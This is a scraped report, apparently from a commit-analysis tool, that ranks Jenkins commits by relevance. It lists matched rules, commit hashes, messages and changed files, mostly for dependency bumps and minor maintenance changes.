      Update dependency postcss to v8.4.36 (#9055) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove duplicated words in Javadoc comments (#9056) chore: remove... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.451 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 50269cabe440acf27804bc52b0820dbdcc1957d9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9056
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove duplicated words in Javadoc comments (#9056) chore: remove repetitive words Signed-off-by: veryyet <zhengxingru@outlook.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/jenkins/slaves/RemotingWorkDirSettings.java + + war/src/main/webapp/scripts/yui/dragdrop/dragdrop-debug.js + + war/src/main/webapp/scripts/yui/editor/editor-debug.js + + war/src/main/webapp/scripts/yui/editor/simpleeditor-debug.js + + war/src/main/webapp/scripts/yui/menu/menu-debug.js + + war/src/main/webapp/scripts/yui/yahoo/yahoo-debug.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [maven-release-plugin] prepare for next development iteration + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440.3 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 713e4761d9ef99d1aa19981bb72ad2691e9f90a1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [maven-release-plugin] prepare for next development iteration
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + + cli/pom.xml + + core/pom.xml + + coverage/pom.xml + + pom.xml + + test/pom.xml + + war/pom.xml + + websocket/jetty10/pom.xml + + websocket/spi/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [maven-release-plugin] prepare release jenkins-2.440.2 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.440.2 +
    +
    +
    +
    +
    + + + + COMMIT_HAS_TWINS + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3037c91b3e21771fbb855b95083add15c2d283de +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      This commit has one or more twins.
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [maven-release-plugin] prepare release jenkins-2.440.2
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + + cli/pom.xml + + core/pom.xml + + coverage/pom.xml + + pom.xml + + test/pom.xml + + war/pom.xml + + websocket/jetty10/pom.xml + + websocket/spi/pom.xml + +
    • +
    + + +
    Commit twins
    + + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d09ae8c7bb90a75ade3296e5dad3ba37ab0cb4c3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9048
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.14.1 to 10.14.2. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.14.1...checkstyle-10.14.2) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency sass to v1.72.0 (#9046) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db52842ca3568fa6781ca6d28c00e26bfbcf7865 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9046
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency sass to v1.72.0 (#9046) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f790a3142c76a33f1dbd8409715b867a53836c8 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9043
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps [org.awaitility:awaitility](https://github.com/awaitility/awaitility) from 4.2.0 to 4.2.1. - [Changelog](https://github.com/awaitility/awaitility/blob/master/changelog.txt) - [Commits](https://github.com/awaitility/awaitility/compare/awaitility-4.2.0...awaitility-4.2.1) --- updated-dependencies: - dependency-name: org.awaitility:awaitility dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `QueueIdStrategy` (#9020) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c0f27461fc9c367ad73dafcce3e07ca26ca22523 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9020
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `QueueIdStrategy` (#9020)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Queue.java + + core/src/main/java/jenkins/model/queue/QueueIdStrategy.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-69191] new icon for agent not accepting tasks and computer... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 229724953b8430fe344bd78e2926727178e0247e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8823
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-69191] new icon for agent not accepting tasks and computer icon legend (#8823) * [JENKINS-69191] icon for agent not accepting tasks This change adds another icon for the case when an agent is not accepting tasks, e.g. because the retention strategy avoids this. The makes it easier to decide whether an agent is in a non healthy state. A legend button is added below the computer overview table that shows an explanation for the icons. * fix style
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Computer.java + + core/src/main/resources/hudson/model/ComputerSet/_legend.jelly + + core/src/main/resources/hudson/model/ComputerSet/_legend.properties + + core/src/main/resources/hudson/model/ComputerSet/index.jelly + + war/src/main/js/pages/computer-set/index.js + + war/src/main/resources/images/symbols/computer-not-accepting.svg + + war/webpack.config.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add components for dropdown items (#8827) * Init * Update taglib *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 730c59fe4d1d49af681df32e49eac72a629ce0c4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8827
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add components for dropdown items (#8827) * Init * Update taglib * Add docs * Add additional docs * Update header.jelly * Remove translations * Linting * Update utils.js * Add clazz * Update templates.js * Address comments * Fix failing tests due to JS change * Update templates.js * Fix properties not being set correctly * XML escape clazz, URL and ID --------- Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/PluginManager/available.jelly + + core/src/main/resources/hudson/logging/LogRecorder/index.jelly + + core/src/main/resources/hudson/logging/LogRecorderManager/feeds.jelly + + core/src/main/resources/lib/hudson/rssBar.jelly + + core/src/main/resources/lib/hudson/rssBar.properties + + core/src/main/resources/lib/hudson/rssBar_bg.properties + + core/src/main/resources/lib/hudson/rssBar_ca.properties + + core/src/main/resources/lib/hudson/rssBar_cs.properties + + core/src/main/resources/lib/hudson/rssBar_da.properties + + core/src/main/resources/lib/hudson/rssBar_de.properties + + core/src/main/resources/lib/hudson/rssBar_el.properties + + core/src/main/resources/lib/hudson/rssBar_es.properties + + core/src/main/resources/lib/hudson/rssBar_es_AR.properties + + core/src/main/resources/lib/hudson/rssBar_et.properties + + core/src/main/resources/lib/hudson/rssBar_fi.properties + + core/src/main/resources/lib/hudson/rssBar_fr.properties + + core/src/main/resources/lib/hudson/rssBar_he.properties + + core/src/main/resources/lib/hudson/rssBar_hu.properties + + core/src/main/resources/lib/hudson/rssBar_it.properties + + core/src/main/resources/lib/hudson/rssBar_ja.properties + + core/src/main/resources/lib/hudson/rssBar_ko.properties + + core/src/main/resources/lib/hudson/rssBar_lt.properties + + core/src/main/resources/lib/hudson/rssBar_lv.properties + + core/src/main/resources/lib/hudson/rssBar_nb_NO.properties + + core/src/main/resources/lib/hudson/rssBar_nl.properties + + core/src/main/resources/lib/hudson/rssBar_pl.properties + + core/src/main/resources/lib/hudson/rssBar_pt_BR.properties + + core/src/main/resources/lib/hudson/rssBar_pt_PT.properties + + core/src/main/resources/lib/hudson/rssBar_ro.properties + + core/src/main/resources/lib/hudson/rssBar_ru.properties + + core/src/main/resources/lib/hudson/rssBar_sk.properties + + core/src/main/resources/lib/hudson/rssBar_sl.properties + + core/src/main/resources/lib/hudson/rssBar_sr.properties + + core/src/main/resources/lib/hudson/rssBar_sv_SE.properties + + core/src/main/resources/lib/hudson/rssBar_tr.properties + + core/src/main/resources/lib/hudson/rssBar_uk.properties + + core/src/main/resources/lib/hudson/rssBar_zh_TW.properties + + core/src/main/resources/lib/layout/dropdowns/custom.jelly + + core/src/main/resources/lib/layout/dropdowns/header.jelly + + core/src/main/resources/lib/layout/dropdowns/item.jelly + + core/src/main/resources/lib/layout/dropdowns/separator.jelly + + core/src/main/resources/lib/layout/dropdowns/submenu.jelly + + core/src/main/resources/lib/layout/dropdowns/taglib + + core/src/main/resources/lib/layout/layout.jelly + + core/src/main/resources/lib/layout/overflowButton.jelly + + war/src/main/js/components/dropdowns/overflow-button.js + + war/src/main/js/components/dropdowns/templates.js + + war/src/main/js/components/dropdowns/utils.js + + war/src/main/js/pages/dashboard/index.js + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove unnecessary `<pluginManagement>` entries (#9037) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 471bf225f489c0cfdde3af6378cc4f05f099e10a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9037
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove unnecessary `<pluginManagement>` entries (#9037)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Improve description of "Plain text" markup formatter (#9039)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5bc99ad8b7aac3a42a58de8f63075f04a16eedab +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9039
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Improve description of "Plain text" markup formatter (#9039) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a4835fccf3f46623f0d7dd11cf55c5e5928c8358 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9040
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040) Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.0.0-jre to 33.1.0-jre. - [Release notes](https://github.com/google/guava/releases) - [Commits](https://github.com/google/guava/commits) --- updated-dependencies: - dependency-name: com.google.guava:guava dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove lingering reference to `maven-makepkgs-plugin` (#9034) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d2a4a44a5c10ff9f32632fdd628deed275ea39a1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9034
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove lingering reference to `maven-makepkgs-plugin` (#9034)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4909708a14c3ca9acc9a74e5e5a1349700186886 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9035
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps [softprops/action-gh-release](https://github.com/softprops/action-gh-release) from 2.0.2 to 2.0.4. - [Release notes](https://github.com/softprops/action-gh-release/releases) - [Changelog](https://github.com/softprops/action-gh-release/blob/master/CHANGELOG.md) - [Commits](https://github.com/softprops/action-gh-release/compare/d99959edae48b5ffffd7b00da66dcdb0a33a52ee...9d7c94cfd0a1f3ed45544c887983e9fa900f0564) --- updated-dependencies: - dependency-name: softprops/action-gh-release dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-release-artifact.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.450 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e61c82be10352d1923518c276d67890372ed970 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9036
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to 472.vf7c289a_4b_420 (#9036) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 61a8fed2594989ca14f31179b75ce26e5157cb3b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9033
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump softprops/action-gh-release from 1 to 2 (#9030) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f7cfb7ed382fc25a7c80bd4f96980e220274abd7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9030
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump softprops/action-gh-release from 1 to 2 (#9030)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/publish-release-artifact.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9e7397244e9c971f5b1d5406d8865c52fa301233 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9031
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + bom/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 76e1fd291b2fb539a2d72776bcaeaeba7461556d +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9029
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + ath.sh + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Link to individual releases' changelog pages (#8985) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b9b779d71928cc33f207a98726265ee77705cccc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 8985
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Link to individual releases' changelog pages (#8985)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/release-drafter.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `Lifecycle.supportsDynamicLoad` (#9013) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 46b0db778344fd705418535bc6a7f55b88e4db30 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9013
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `Lifecycle.supportsDynamicLoad` (#9013)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/PluginManager.java + + core/src/main/java/hudson/lifecycle/Lifecycle.java + + core/src/main/resources/hudson/Messages.properties + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + `Job.fastUpdateNextBuildNumber` (#9019) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2dca2b18ae00829431be06c25bb370e5f825b2bc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9019
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      `Job.fastUpdateNextBuildNumber` (#9019)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/model/Job.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c9af352f6f1815a799308fbe7a613038d7cfd63b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9026
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + core/src/main/java/hudson/util/jna/GNUCLibrary.java + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update dependency postcss-preset-env to v9.5.0 (#9028)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + dc714a7ffb766ab7de1573ae327823e4867117e6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9028
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update dependency postcss-preset-env to v9.5.0 (#9028) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/yarn.lock + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b528922163e2c7cf3b5735080184e44149117ce4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9021
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn in war/pom.xml Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/package.json + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3a07440b339bc9da1b5c8632aa78a02e011b4e5b +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9022
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + war/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9a3ef7cd0421fde13aaf4a17285acc127026ae63 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9018
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + test/pom.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: jenkins-2.449 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 61a2404ba3596b598f5ad7bb7ad8f000eff659c2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 9015
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
